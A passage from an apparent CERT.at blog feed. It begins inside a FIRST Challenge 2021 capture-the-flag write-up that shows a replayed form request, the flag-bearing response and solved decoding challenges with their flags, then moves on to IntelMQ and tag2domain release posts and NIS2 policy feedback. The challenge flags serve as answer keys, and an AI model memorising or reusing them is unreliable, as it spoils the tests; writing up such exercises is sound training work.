Content-Type: multipart/form-data; boundary=---------------------------4660448215033997732555194938 Content-Length: 182 Origin: https://[redacted].firstchallenges.ninja Connection: keep-alive Referer: https://[redacted].firstchallenges.ninja/tango/question Cookie: session_id_tango=[redacted] Upgrade-Insecure-Requests: 1 Host: [redacted].firstchallenges.ninja -----------------------------4660448215033997732555194938 Content-Disposition: form-data; name="code" seclounge-sig -----------------------------4660448215033997732555194938--</code></pre> <p>and resent it. The HTML response said:</p> <pre><code> &lt;html&gt; &lt;body&gt;&lt;script src="https://[redacted].firstchallenges.ninja/zapCallBackUrl/-6222965360475529933/inject.js"&gt;&lt;/script&gt; &lt;head&gt; &lt;meta charset="utf-8"&gt; &lt;title&gt;Tango&lt;/title&gt; &lt;/head&gt; &lt;main class="maincontent"&gt; &lt;h2 class="headinglabel"&gt;HERE IS YOUR CHALLENGE FLAG&lt;/h&gt; &lt;div class="minstyle"&gt; &lt;div class="sumting"&gt; &lt;div class="tis"&gt; &lt;div class="buried"&gt; &lt;div class="there"&gt; &lt;p class=incontents&gt;339636a5b9df27dd15704828f5c10037e8334099&lt;/p&gt; &lt;/div&gt; &lt;/div&gt; &lt;/div&gt; &lt;/div&gt; &lt;/div&gt; &lt;/main&gt; &lt;/body&gt; &lt;/html&gt; </code></pre> <p>And there we go \o/</p> <h2 id="cryptography">Cryptography</h2> <p>This section contained three challenges which we all solved. It was a bit disappointing, as it was not really about crypto but just about encodings.</p> <h3 id="decode">Decode</h3> <p>Task:</p> <blockquote> <p>Decode:</p> <p><code>VGhlIGZsYWcgZm9yIHRoaXMgY2hhbGxlbmdlcyBpczogV0x1Qklkd09qN2tzV05neVZuemhOVkphSmdUdXc0SUUK</code></p> </blockquote> <p>Well,</p> <pre><code>$ echo "VGhlIGZsYWcgZm9yIHRoaXMgY2hhbGxlbmdlcyBpczogV0x1Qklkd09qN2tzV05neVZuemhOVkphSmdUdXc0SUUK" | base64 -d The flag for this challenges is: WLuBIdwOj7ksWNgyVnzhNVJaJgTuw4IE</code></pre> <h3 id="decode-2">Decode 2</h3> <p>Task:</p> <blockquote> <p><code>&lt;~&lt;+ohcAo(mg+D,P4+EV:2F!+t+@;KakDJ*N&rsquo;Blc&lt;XE&lsquo;&gt;"c8nW-:=&amp;hV$C,g&amp;fAp$l8nt78nULN7osSM$3~&gt;</code></p> </blockquote> <p>As we had no <code>base85</code> utilities installed per default on our machines, we just used <a href="https://github.com/gchq/cyberchef">CyberChef</a> and got:</p> <pre><code>The flag for this challenge is: rT8CJgqKWUChj8m5fu96JhNjJgC8GWnt</code></pre> <h3 id="decode-3">Decode 3</h3> <p>Task:</p> <blockquote> <p>%96 7=28 7@C E9:D 492==6?86 :Di E?K_#8?F!wxss8AI&rsquo;$GAv4wx)zp&gt;K!r_</p> </blockquote> <p>Luckily, we didn&rsquo;t have to search long for this, as one of us recently had to write encoding and decoding for ROT47 and immediately recognized the pattern, so we again turned to CyberChef to get the flag:</p> <pre><code>The flag for this challenge is: tnz0RgnuPHIDDgpxVSvpGcHIXKAmzPC0</code></pre> <section class="footnotes"><hr /> <ol> <li id="fn1"> <p>The <code>_</code> characters seem to be <code>oledump.py</code>&rsquo;s way of indicating a linebreak.<a class="footnote-back" href="#fnref1">↩</a></p> </li> </ol> </section> <hr /> <p class="block">This blog post is part of a series of blog posts related to our&nbsp;<a href="https://ec.europa.eu/inea/en/connecting-europe-facility/cef-telecom/2018-at-ia-0111">CEF Telecom 2018-AT-IA-0111</a> project, which also supports our participation in the CSIRTs Network.</p> <p class="block"><img src="https://www.cert.at/media/files/news/blog/202002051545/en_cef-1024x146.png" alt="Co-financed by the European Union Connecting Europe Facility" width="1024" height="146" /></p>Wed, 30 Jun 2021 05:50:30 GMT+0100https://www.cert.at/en/blog/2021/6/first-challenge-2021-writeupCERT.at2021-06-30T05:50:30Zhttps://www.cert.at/en/blog/2021/5/intelmq-release-233-with-support-for-new-shadowserver-feeds<p class="block">While the development of the next major version 3.0.0 of IntelMQ is in the final spurt, we released a small maintenance version of IntelMQ: version 2.3.3. It marks the end of the 2.x development cycle and is an important milestone of our project <a href="https://www.cert.at/en/about-us/projects/current#3-4-1-3">&ldquo;Enhancing Cybersecurity in Austria&rdquo; (2018-AT-IA-0111)</a>.</p> <p class="block">Beside small error corrections it comes with support for a few <a href="https://www.shadowserver.org/news/changes-in-sinkhole-and-honeypot-report-types-and-formats/">new feeds provided by the Shadowserver foundation</a>. Several feeds have been re-organized, renamed and split for better clarity. The <a href="https://intelmq.readthedocs.io/en/maintenance/user/bots.html#shadowserver-supported-reports">Shadowserver parser documentation</a> contains a list of all feeds supported by IntelMQ.</p> <p class="block">A detailed list of all changes can be read in the <a href="https://github.com/certtools/intelmq/releases/tag/2.3.3">release notes</a>, the full documentation can be found at <a href="https://www.cert.at/intelmq.readthedocs.io/">intelmq.readthedocs.io</a>.</p> <hr /> <p class="block">This blog post is part of a series of blog posts related to our&nbsp;<a href="https://ec.europa.eu/inea/en/connecting-europe-facility/cef-telecom/2018-at-ia-0111">CEF Telecom 2018-AT-IA-0111</a> project, which also supports our participation in the CSIRTs Network.</p> <p class="block"><img src="https://www.cert.at/media/files/news/blog/202002051545/en_cef-1024x146.png" alt="Co-financed by the European Union Connecting Europe Facility" width="1024" height="146" /></p>Mon, 31 May 2021 20:39:28 GMT+0100https://www.cert.at/en/blog/2021/5/intelmq-release-233-with-support-for-new-shadowserver-feedsCERT.at2021-05-31T20:39:28Zhttps://www.cert.at/en/blog/2021/4/flexible-taxonomies-and-new-software-for-the-tag2domain-project<p class="block">Domain Names are the center piece of locating services on the internet and they can be used for a variety of purposes and services. Understanding the type of services a Domain Name offers is one of the key aspects of Internet Security. In another post last year we already <a title=" tag2domain - a system for labeling DNS domains Published" href="https://www.cert.at/en/news/blog/tag2domain">introduced tag2domain</a>, our tagging / labelling framework for domain names that helps us to better understand this landscape of services and software.</p> <p class="block">In this article we want to highlight a recently released, major update to the <a href="https://github.com/certtools/tag2domain/">tag2domain repository</a>. In this update we improve on the basic concepts of tag2domain, introduce software components that manage tag creation and updating, and add scripts and documentation that help in setting up a tag2domain database.</p> <p class="block">This work is part of nic.at&rsquo;s project within the Connecting Europe Facilities (CEF) framework as project <a title="&ldquo;Enhancing Cybersecurity in Austria&rdquo; (2018-AT-IA-0111)" href="https://www.cert.at/en/about-us/projects/current#3-4-1-3">2018-AT-IA-0111</a>.</p> <h1 class="block">tag2domain &ndash; Basics</h1> <p class="block">Before we get into the new developments, let us briefly reiterate the basic concepts of tag2domain. tag2domain is a framework for labelling DNS domain names with tags that is inspired by similar tagging systems such as the <a title="MISP taxonomies" href="https://github.com/MISP/misp-taxonomies">MISP system</a>, the <a title="RSIT taxonomy" href="https://github.com/enisaeu/Reference-Security-Incident-Taxonomy-Task-Force/">RSIT taxonomy</a>, and <a href="https://wiki.openstreetmap.org/wiki/Tags">OpenStreetMap tags</a>. Think of these tags as sticky notes that attach to a domain and represent some kind of interesting property. These tags are grouped into taxonomies and each tag has a name and may also have a value. A single tag then looks like this:</p> <pre class="block">(cert-example-domain.at) -&gt; taxonomy:tag = value</pre> <p class="block">As an example consider a taxonomy &ldquo;proper_names&rdquo; with tags that could look like:</p> <pre class="block">(city-of-vienna.at) -&gt; proper_names:place_name = city</pre> <p class="block">The tags themselves are things like &ldquo;place_name&rdquo;, &ldquo;first_name&rdquo;, &ldquo;organization_name&rdquo; and so on. Under the tag &ldquo;place_name&rdquo; there are values named &ldquo;city&rdquo;, &ldquo;village&rdquo;, or &ldquo;river&rdquo;. A single domain can be associated with multiple tags. For example the name &ldquo;Steyr&rdquo; is the name of a city and the name of a river making both tags appropriate for a domain name that contains &ldquo;steyr&rdquo;.</p> <p class="block">Since some properties of a domain name can change over time (e.g. is there a website hosted under this domain?), each tag has a start and an end date so one can calculate statistics over these tags at different points in time. Also, as some properties cannot be measured continuously, we include a &ldquo;measured_at&rdquo; property that gets updated each time a tag is confirmed.</p> <p class="block">The overall setup of a tag2domain tagging system looks like this:</p> <p class="block"><img src="https://www.cert.at/media/files/news/blog/20210407/components_no_msm2tag.svg" alt="" width="846" height="341" /></p> <p class="block">We measure domain properties and pack them into measurements. These measurements get handed off to a service that updates the tag2domain database. On the other side we want to retrieve the gathered data via a REST interface.</p> <p class="block">All these components are now included in the <a href="https://github.com/certtools/tag2domain/">tag2domain repository</a>.</p> <h1 class="block">tag2domain &ndash; New features</h1> <p class="block">To make tag2domain tags a little more flexible we added two features to the basic framework:</p> <ol> <li class="block">We now allow the tag and value set of a taxonomy to grow as new tags and values are observed. This enables us to define taxonomies where tags and values are not known in advance.</li> <li class="block">We added categories that group tags together within a taxonomy. This is done on the semantic layer by adding a prefix &ldquo;<code>category_name::</code>&rdquo; to the tag name and is used to calculate fine-grained statistics using the <em>tag2domain-api</em> programming interface.</li> </ol> <p>An example where both of these features come in handy is when one wants to tag software used under a given domain name, like so:</p> <pre class="block">(city-of-vienna.at) -&gt; software:web-server::apache = v2.4.232</pre> <p class="block">With the new capabilities of tag2domain the set of version numbers can grow as new versions are rolled out and the &ldquo;web-server&rdquo; category can be used to calculate statistics such as the market share of different web servers.</p> <p class="block">In addition to updating the tag2domain framework, we also added py_tag2domain, a programming library that takes measurements as an input and converts them into tags stored in a tag2domain database. Measurements are simple JSON objects such as this one:</p> <pre class="block">{<br /> "version": "1",<br />&nbsp; "tag_type": "domain",<br />&nbsp; "tagged_id": 3,<br />&nbsp; "taxonomy": "names",<br />&nbsp; "producer": "namefinder",<br />&nbsp; "measured_at": "2020-12-23T10:30:51",<br />&nbsp; "measurement_id": " namefinder/1",<br />&nbsp; "tags": [<br />&nbsp; {<br /> "tag": "place_name",<br /> "value": "city"<br /> }<br /> ]<br />}</pre> <p class="block"><em>py_tag2domain</em> has been integrated into <em>tag2domain-api</em> so that measurements can be delivered by a REST call. Also, we built a service called <em>msm2tag2domain</em> that fetches measurements from a Kafka topic and does the same thing.</p> <p class="block">In addition to these new software components we overhauled the setup process of tag2domain, expanded the documentation, and created docker-based demo setups so you can easily try it out for yourself.</p> <p class="block">If you have any feedback to this article or any comments regarding tag2domain you can reach us via <a href="mailto:tag2domain@cert.at">tag2domain@cert.at</a>.</p> <hr /> <p class="block">This blog post is part of a series of blog posts related to our&nbsp;<a href="https://ec.europa.eu/inea/en/connecting-europe-facility/cef-telecom/2018-at-ia-0111">CEF Telecom 2018-AT-IA-0111</a> project, which also supports our participation in the CSIRTs Network.</p> <p class="block"><img src="https://www.cert.at/media/files/news/blog/202002051545/en_cef-1024x146.png" alt="Co-financed by the European Union Connecting Europe Facility" width="1024" height="146" /></p>Tue, 06 Apr 2021 14:59:18 GMT+0100https://www.cert.at/en/blog/2021/4/flexible-taxonomies-and-new-software-for-the-tag2domain-projectCERT.at2021-04-06T14:59:18Zhttps://www.cert.at/en/blog/2021/3/intelmq-bug-fix-release-231<p class="block">This release does not add any major features to IntelMQ but is considered purely a maintenance release. It addresses some minor errors and contains usability enhancements for the new API. Some notable changes are listed below. Below we present a short summary of the changes. We thank all contributors who participated in this release!</p> <p class="block">As usual, the <a href="https://intelmq.readthedocs.io/en/maintenance/user/installation.html">installation</a> and <a href="https://intelmq.readthedocs.io/en/maintenance/user/upgrade.html">upgrade</a> instructions can be found on <a href="https://intelmq.readthedocs.io/">intelmq.readthedocs.io</a> and the full changelogs can be seen on GitHub: <a href="https://github.com/certtools/intelmq/releases/tag/2.3.1">IntelMQ 2.3.1</a>, <a href="https://github.com/certtools/intelmq-api/releases/tag/2.3.1">IntelMQ API 2.3.1</a> &amp; <a href="https://github.com/certtools/intelmq-manager/releases/tag/2.3.1">IntelMQ Manager 2.3.1</a>.</p> <p class="block">The Cymru CAP Parser has been adapted to&nbsp;accommodate for the new format for events of the category "bruteforce" (by Sebastian Wagner, CERT.at). The Shodan Parser now supports nested conversions, improved protocol detection and has a greatly extended parser mapping (by Mikk Margus M&ouml;ll, CERT.EE). A missing description for the <a href="https://intelmq.readthedocs.io/en/maintenance/user/feeds.html#country-stream">Shodan Country Stream</a> has been added to the feed documentation (by Sebastian Wagner, CERT.at).</p> <p class="block">The sections on intelmq-cb-mailgen and fody in the <a href="https://intelmq.readthedocs.io/en/maintenance/user/ecosystem.html">ecosystem document</a> received revised (by Bernhard Reiter, Intevation) and a new summary of <a href="https://intelmq.readthedocs.io/en/maintenance/user/hardware-requirements.html">hardware requirements</a> has been added (by Sebastian Wagner, CERT.at).</p> <h1 class="block">IntelMQ API-related changes</h1> <p class="block">The <a href="https://intelmq.readthedocs.io/en/maintenance/user/intelmq-api.html">IntelMQ API documentation</a> now has more details on the required write permission for the session database file (by Birger Schacht, CERT.at). The API backend now gives a more verbose error message for session database permission errors including a hint for resolution (by Birger Schacht, CERT.at).</p> <p class="block">The intelmqsetup tool, which is part of the installation routine for manual IntelMQ installations, is now able to automatically create the required directory layout and file permissions for the IntelMQ API (by Sebastian Wagner, CERT.at) and also covers the webserver and sudoers configuration for IntelMQ API and IntelMQ Manager (by Sebastian Wagner, CERT.at).</p> <h1 class="block">IntelMQ Manager-related changes</h1> <p class="block">The required authentication token in save-data requests of the "Configuration" tab is now sent to the backend (by Marcos Gonzalez, CNCSRD-DO). In the following two locations, link destinations that still pointed to the old PHP-based backend URLs have been fixed: "Clear Configuration" link destination on the configuration page and the link to the bots configuration on the monitor page (by Sebastian Wagner, CERT.at).</p> <hr /> <p class="block">This blog post is part of a series of blog posts related to our&nbsp;<a href="https://ec.europa.eu/inea/en/connecting-europe-facility/cef-telecom/2018-at-ia-0111">CEF Telecom 2018-AT-IA-0111</a> project, which also supports our participation in the CSIRTs Network.</p> <p class="block"><img src="https://www.cert.at/media/files/news/blog/202002051545/en_cef-1024x146.png" alt="Co-financed by the European Union Connecting Europe Facility" width="1024" height="146" /></p>Fri, 26 Mar 2021 13:51:37 GMT+0100https://www.cert.at/en/blog/2021/3/intelmq-bug-fix-release-231CERT.at2021-03-26T13:51:37Zhttps://www.cert.at/en/blog/2021/3/nis2-proposal-first-feedback-on-the-normative-text<p class="block">After looking at the recitals a few weeks ago, here is my feedback on the normative text of the NIS2 proposal:</p> <hr /> <p class="block" style="padding-left: 30px;"><em><strong>Art. 1(2)(c) </strong>[...] lays down obligations on cybersecurity information sharing.</em></p> <p class="block">It doesn't just provide obligations, it also <strong>provides a legal basis</strong> for information sharing. From our perspective, that's even more important than the obligation.</p> <p class="block" style="padding-left: 30px;"><em><strong>Art. 2(2)(a)</strong> the services are provided by one of the following entities:</em></p> <p class="block">Overall, the NIS2 is moving from the service-orientation towards a focus on organisations. Here, "service" appears and it looks like a holdover from the old text. There is no clear definition on what "services" are covered by the language in all of paragraph 2, leading to potentially absurd interpretations. e.g.:</p> <p class="block" style="padding-left: 30px;"><em><strong>Art. 2(2)(a) (i) + (iii)</strong> </em></p> <p class="block" style="padding-left: 30px;"><em>(i) public electronic communications networks or publicly available electronic communications services referred to in point 8 of Annex I; </em></p> <p class="block" style="padding-left: 30px;"><em>(iii) top&ndash;level domain name registries and domain name system (DNS) service providers referred to in point 8 of Annex I; </em></p> <p class="block">Let's say that an important entity runs a summer vacation camp for its employees that is connected via a small non-profit (e.g., rural wifi) ISP. Internet connectivity and DNS resolution services at that resort is a service of the entity, making the community-run ISP covered by NIS2. Or: the tennis-club of a larger entity is using dedicated server hosted at a data-centre for a few dozens of &euro; per month. It also runs an authoritative DNS server. Thus, it falls under the NIS2 directive.</p> <p class="block" style="padding-left: 30px;"><em><strong>Art 2(2)(c) </strong>the entity is the sole provider of a service in a Member State;</em></p> <p class="block">Same thing: To be the sole provider of <a href="https://www.angelfire.com/ca3/tomsnyder/hg-2-12.html">lemon-soaked paper napkins</a> (to quote Douglas Adams) in a country doesn't make you important. The term "service" really needs a "relevant" or "important" or "essential" in front of it.</p> <p class="block" style="padding-left: 30px;"><em><strong>Art. 4(4)</strong> 'security of network and information systems&rsquo; means the ability of network and information systems to resist, at a given level of confidence, any <strong>action</strong> that compromises the availability, authenticity, integrity or confidentiality of stored or transmitted or processed data or the related services offered by, or accessible via, those network and information systems;</em></p> <p class="block">The word "action" can be read as a human doing something. If we look a the <a href="https://www.enisa.europa.eu/topics/incident-reporting/cybersecurity-incident-report-and-analysis-system-visual-analysis/visual-tool">statistics collected by ENISA as part of the Art 13(a) reporting</a>, we see that malicious activity has just a minor impact on the availability of the telecommunication services. If we have the CIA triad in mind, we really have to look far beyond "actions", and also have to include "events" or "circumstances".</p> <p class="block" style="padding-left: 30px;"><em><strong>Art. 4(15)</strong> &lsquo;top&ndash;level domain name registry&rsquo; means an entity which has been delegated a specific TLD and is responsible for administering the TLD including the registration of domain names under the TLD and the technical operation of the TLD, including the operation of its name servers, the maintenance of its databases and the distribution of TLD zone files across name servers; <br /></em></p> <p class="block">This fixation on TLDs is counter-productive. For example: nic.at allows the creation of new domains under .at, .or.at and .co.at (the latter being legacy second level domains). I see no reason why the regulation should treat those three parent domains differently from each other.</p> <p class="block" style="padding-left: 30px;"><em> <strong>Art. 5(2)</strong> (missing)</em></p> <p class="block">National cybersecurity strategies need to address the international engagement and cyber diplomacy aspect, e.g., the standardization efforts of the ITU or the Internet governance by ICANN.</p> <p class="block" style="padding-left: 30px;"><em><strong>Art. 6(2)</strong> ENISA shall develop and maintain a European vulnerability registry.</em></p> <p class="block">As I wrote while discussing the recitals, the world does not need a duplication of the CVE database that is run by MITRE. Please cooperate! Start with acting as a CNA, and offer to act as a backup for the main database. We need globally unique identifiers for vulnerabilities.</p> <p class="block" style="padding-left: 30px;"><em><strong>Art. 7(3)</strong> (missing)</em></p> <p class="block">Please add a bullet on funding.</p> <p class="block" style="padding-left: 30px;"><em><strong>Art. 8(3)</strong> Each Member State shall designate one national single point of contact on cybersecurity (&lsquo;single point of contact&rsquo;).</em></p> <p class="block">Please either restrict the SPoC to a purely administrative function, or just cut it out. It's not needed for operational information sharing.</p> <p class="block" style="padding-left: 30px;"><em><strong>Art. 9(1)</strong> Each Member State shall designate one or more CSIRTs which shall comply with the requirements set out in Article 10(1), covering at least the sectors, subsectors or entities referred to in Annexes I and II, and be responsible for incident handling in accordance with a well&ndash;defined process.</em></p> <p class="block">The language could be clearer that the union of the constituencies of the set of CSIRTs needs to be a superset of all the sectors. Maybe use something like "covering together at least the sectors, ...".</p> <p class="block" style="padding-left: 30px;"><em><strong>Art. 10(1)(d)</strong> </em> CSIRTs shall be adequately staffed to ensure availability at all times;</p> <p class="block">This could either mean a 24x7 staffed CSIRT office or just a way to alert an CSIRT analyst who is on a on-call duty. A clarification might be helpful.</p> <p class="block" style="padding-left: 30px;"><em><strong>Art. 10(2)(a)</strong> </em> monitoring cyber threats, vulnerabilities and incidents at national level;</p> <p class="block">Monitoring can be purely passive, where the CSIRT is just reading OSINT or check their mailboxes for incoming incident reports. Or, it could be active monitoring, going out trying to find vulnerabilities by testing, scanning or probing systems. From our experience as a national CSIRT, active scanning is an important part of the job. I'd prefer if the NIS2 would be clearer on this subject.</p> <p class="block" style="padding-left: 30px;"><em><strong>Art. 11(3) </strong>Each Member State shall ensure that its competent authorities or CSIRTs inform its single point of contact of notifications on incidents, significant cyber threats and near misses submitted pursuant to this Directive.</em></p> <p class="block">Just cut out the SPoC from all operational cooperation, and replace it by the CyCLONE officers.</p> <p class="block" style="padding-left: 30px;"><em><strong>Art. 12(4)(b)</strong> exchanging best practices and information in relation to the implementation of this Directive, including in relation to cyber threats, incidents, vulnerabilities [...]</em></p> <p class="block">I'm all for the Cooperation Group to talk about best practices, this could also be read as that the CG is the right place to talk about concrete incidents and their impact. Perhaps it should be clearer that the CG's job is not the exchange of operational information.</p> <p class="block" style="padding-left: 30px;"><em><strong>Art. 13(1)</strong> In order to contribute to the development of confidence and trust and to promote swift and effective operational cooperation among Member States, a network of the national CSIRTs is established.</em></p> <p class="block">We had a lot of head-ache with this language when formulating the RoP of the CSIRTs Network a few years ago. The problem is that "national CSIRT" is never defined in this document. I wrote a <a href="https://cert.at/en/blog/2018/8/blog-20180731155524-2252">long blog-post</a> about this some time ago. Just drop "national" here, we're defining the membership in the next paragraph anyway.</p> <p class="block" style="padding-left: 30px;"><em><strong>Art. 13(2)</strong> The CSIRTs network shall be composed of representatives of the Member States&rsquo; CSIRTs and CERT&ndash;EU.</em></p> <p class="block">As "CSIRT" is a generic term, this language is too broad. It should be made clear that we're talking about the set of CSIRTs that are introduced in Article 9(1). Additionally, why "representatives"? The CNW is a network of teams, and not just a forum where representatives of the teams can talk to each other.</p> <p class="block">So perhaps use "The CSIRTs network shall be composed of the Member States&rsquo; CSIRTs which are designated according to Article 9(1) and CERT&ndash;EU."</p> <p class="block" style="padding-left: 30px;"><em><strong>Art. 13(3)c</strong> at the request of a representative of the CSIRT network potentially affected by an incident, exchanging and discussing information in relation to that incident and associated cyber threats, risks and vulnerabilities;</em></p> <p class="block">Isn't that already covered by (b)?</p> <p class="block" style="padding-left: 30px;"><em><strong>Art. 13(3)</strong> (missing)</em></p> <p class="block">The CSIRTs Network is also used to share (on a voluntary basis) tools, extensions to tools, processes and documents that members have created. It would be helpful if this would also get a bullet point in Art 13(3).</p> <p class="block" style="padding-left: 30px;"><em><strong>Art. 14(3)</strong> (missing)</em></p> <p class="block">The EU-CyCLONe should also take over the operational aspects of the old SPOC, i.e. the forwarding of major incident reports affecting multiple EU member states.</p> <p class="block" style="padding-left: 30px;"><em><strong>Art. 15(1)b</strong> the technical, financial and human resources available to competent authorities and cybersecurity policies, [...]</em></p> <p class="block">It would be helpful, if the report does not only provide that information regarding the competent authorities, but also the CSIRTs and the national CyCLONe structure.</p> <p class="block" style="padding-left: 30px;"><em><strong>Art. 16</strong> Peer-reviews</em></p> <p class="block">I support the basic idea of the peer reviews. From what I know, such reviews are already standard practice in the realms of law enforcement. Two points seem to be missing from the article:</p> <ul> <li class="block">Cost. Who is supposed to cover the expenses?</li> <li class="block">Classification. Yes, "the reports may be published" is in 7., but I'm not sure that's a good idea as it is written. I would recommend going for a confidential report to be shared only internally (CG, CNW, EC, ENISA) and a TLP:WHITE version for public consumption.</li> </ul> <p class="block" style="padding-left: 30px;"><em><strong>Art. 17(2)</strong> Member States shall ensure that members of the management body follow specific trainings, on a regular basis, [...]</em></p> <p class="block">Is "follow a training" the same as "attend a training" (or is it "following the stuff learned during trainings")? While I support the idea behind this point, I'm not sure how that can be implemented and audited? Whose job is it to verify that the CEOs and others possess the relevant education?</p> <p class="block" style="padding-left: 30px;"><em><strong>Art. 20(1)</strong> Where appropriate, those entities shall notify, without undue delay, the recipients of their services of incidents that are likely to adversely affect the provision of that service.</em></p> <p class="block">This might be tricky, the qualifier "When appropriate" being really important to make this workable. As we're now expanding the set of organisations covered by this directive, handling the customer notifications becomes really tricky.</p> <p class="block">Determining the "recipients of their services" is in many cases "whoever might walk through our door tomorrow" (think supermarkets or hospitals). There is no way those entities can do targeted notifications. So how should those cases be handled?</p> <p class="block" style="padding-left: 30px;"><em><strong>Art. 20(2)</strong> Member States shall ensure that essential and important entities notify, without undue delay, the competent authorities or the CSIRT of any significant cyber threat that those entities identify that could have potentially resulted in a significant incident.</em></p> <p class="block">We have a problem here. Going back to the definition contained in REGULATION (EU) 2019/881: <em>"cyber threat" means any potential circumstance, event or action that could damage, disrupt or otherwise adversely impact network and information systems, the users of such systems and other persons;</em></p> <p class="block">The definition is good, but it's not a good fit here, because it covers generic threats as well. Any competent CISO will always have a long list of threats to the information security of his organisation. Such a list is the basis for risk management and thus essential for steering defensive measures towards optimal results. It's not something that need to be shared to CSIRTs, competent authorities or recipients of services.</p> <p class="block">What we need here is a different definition. It must be restricted to a concrete event that actually happened. The only thing that can stay in the conjunctive ("might") is the connex to an actual outage. In other words, the risk that someone might have compromised the integrity of an organisation's network is not worth being reported, but the risk that someone from whom you know is inside your networks will cause a disruption, is.</p> <p class="block">Additionally, we need to make sure that not every entity will need to do a risk disclosure every time a software vendor releases a patch. (Yes, every second Tuesday each month, almost all entities learn about very concrete risks to their infrastructure. Worth reporting? No.)</p> <p class="block" style="padding-left: 30px;"><em><strong>Art. 20 (6)</strong> [...] the competent authority or the CSIRT shall inform the other affected Member States [...]</em></p> <p class="block">This is a step in the right direction, though I'd prefer that to be either CyCLONe officer or CSIRT.</p> <p class="block" style="padding-left: 30px;"><em><strong>Art. 20 (6,8,9)</strong> [...] single point of contact [...]</em></p> <p class="block">Please remove the SPOC from this operational role. As for 9.: the SPOC does not have (according to this document) the information on all NIS incident reporting, only the cross-MS relevant ones.</p> <p class="block" style="padding-left: 30px;"><em><strong>Art. 23(1)</strong> For the purpose of contributing to the security, stability and resilience of the DNS, Member States shall ensure that TLD registries and the entities providing domain name registration services for the TLD shall collect and maintain accurate and complete domain name registration data in a dedicated database facility with due diligence subject to Union data protection law as regards data which are personal data.</em></p> <p class="block">This is utterly misleading. Someone is pushing an agenda which has little to do with the purpose of the NIS directive. Last year I was asked by ENISA staff for my input to a report on the security of the DNS and the questions made it clear that the initiator of that study wanted ENSIA to come to the pre-ordained conclusion that incorrect domain ownership data is the most pressing security issue for the DNS.</p> <p class="block"><strong>No, it is not.</strong></p> <p class="block">So here we go again. The security, stability and resilience of the DNS depends on the following players:</p> <ul> <li class="block">The domain owner (registrant). If they lose the credentials for the web-interface of their registrars, then the domain can be compromised.</li> <li class="block">The registrar. They act in the name of the registrant, and if they mess up, something might happen to the domain that does not conform to the wishes of the domain owner.</li> <li class="block">The registry (and the nameserver operators it contracts). Making sure the correct registration data is kept and made available to recursive nameservers</li> <li class="block">The recursive nameservers: run by either ISPs or corporate networks</li> <li class="block">The domains of important or essential entities do not depend on whether the registration data for some other domain is correct or not.</li> </ul> <p class="block">This does not mean that accurate and complete registration data would not be helpful in a broader context. Depriving malicious actors a way to register domains under fake names could have positive effects with regards to the level of fraud on the Internet and might improve the overall cyber hygiene.</p> <p class="block">But the stability of the DNS itself? It just does not matter. Looking at the history of disruptions in DNS operations shows that incorrect whois data was almost never a factor.</p> <p class="block" style="padding-left: 30px;"><em><strong>Art. 23</strong> [...] TLD [...]</em></p> <ul> <li class="block">In the current NIS regime, TLD registries are explicitly mentioned as operators of essential services. I agree with that classification as any disruption at that level has significant impact. But this here is different: we're aiming at the problem that someone might be using a domain without disclosing who he is. Whether that domain is directly under a TLD (e.g., example.at) or one layer down (example.co.at) is completely irrelevant. If you look at the <a href="https://publicsuffix.org/">public suffix list</a>, there are many points in the DNS where delegations happen to other organisations. <strong>If the point of Article 23 is to prevent the access to domain names without accurate ownership tracking, then the focus on TLDs is just way to narrow.</strong></li> <li class="block"><strong>What TLD registries are covered?</strong> Should these just be the ccTLDs of EU Member states plus .eu? Or should this (similar to the GDPR) cover all registries that cater to the EU market? Is this Article supposed to cover .org and also most of the ngTLDs? It looks like it. See also Art. 24(3).</li> <li class="block"><strong>Thick versus Thin registries:</strong> There are two basic approaches to keeping track of registrant data: Thick registries hold a database with registrant data, thin registries leave this job to the registrars and store only the nameserver and a registrar-ID. Is article supposed to outlaw thin registries in the EU? What does this mean for .com?</li> </ul> <p class="block" style="padding-left: 30px;"><em><strong>Art. 23</strong> (summary)</em></p> <p class="block">Summary: I can see a point in making sure that domain registration data is correct. But the way this topic is approached here is not thought through and there is a lot to say that the NIS directive is probably the wrong instrument.</p> <p class="block" style="padding-left: 30px;"><em><strong>Art. 26</strong> Cybersecurity information-sharing arrangements</em></p> <p class="block">This looks fine.</p> <p class="block" style="padding-left: 30px;"><em><strong>Art. 27</strong> Voluntary notification of relevant information</em></p> <p class="block">This should be a bit more generic. This article needs also to cover:</p> <ul> <li class="block">non-covered entities reporting incidents and vulnerabilities / risks on their side</li> <li class="block">anybody reporting incidents / vulnerabilities / risks detected anywhere else.</li> </ul> <p>Why is that important? We used to get a data-feed from Google covering issues with web-pages their crawler detected in the Austrian Internet. They stopped providing this, claiming problems with the GDPR. It would be really helpful if security researchers have a clear green light to report their findings to the national CSIRTs.</p> <hr /> <p class="block">This blog post is part of a series of blog posts related to our&nbsp;<a href="https://ec.europa.eu/inea/en/connecting-europe-facility/cef-telecom/2018-at-ia-0111">CEF Telecom 2018-AT-IA-0111</a> project, which also supports our participation in the CSIRTs Network.</p> <p class="block"><img src="https://www.cert.at/media/files/news/blog/202002051545/en_cef-1024x146.png" alt="Co-financed by the European Union Connecting Europe Facility" width="1024" height="146" /></p>Wed, 10 Mar 2021 11:03:51 GMT+0100https://www.cert.at/en/blog/2021/3/nis2-proposal-first-feedback-on-the-normative-textCERT.at2021-03-10T11:03:51Zhttps://www.cert.at/en/blog/2021/3/intelmq-230-api-docker-shadowserver-reports-api-documentation<p class="block">Today we released the newest IntelMQ version 2.3.0 along with its companion tools - the IntelMQ Manager and the new IntelMQ API.</p> <p class="block">This version comes with significant changes, being an important intermediate step for the 3.0 release scheduled for summer 2021.</p> <p class="block">We moved the documentation to <a title="intelmq.readthedocs.io" href="https://intelmq.readthedocs.io/">a new home</a>, see our previous blog post <a href="https://www.cert.at/en/news/blog/intelmq-tutorial-and-new-documentation-page">"IntelMQ offers tutorial lessons and a new documentation page"</a>. The new documentation page also integrates the documentation for the Manager and API, ending the times of distributed documentation. It further features overviews of the integration possibilities <a href="https://intelmq.readthedocs.io/en/maintenance/user/n6-integrations.html">with n6</a> and <a href="https://intelmq.readthedocs.io/en/maintenance/user/MISP-Integrations.html">MISP</a>.</p> <p class="block">Using a combination of Vagrant and Ansible, end-to-end tests enhance our quality management, which now consists of extensive unit-tests, packaging tests, spelling &amp; styling check and as well as security analyses.</p> <p class="block">Numerous "bots" (IntelMQ's plug-able components) have been added or gained new significant features:</p> <ul> <li class="block"><a href="https://intelmq.readthedocs.io/en/latest/user/feeds.html#cz-nic">CZ.nic HAAS and PROKI Parsers</a>, by <a href="https://github.com/gethvi/">Filip 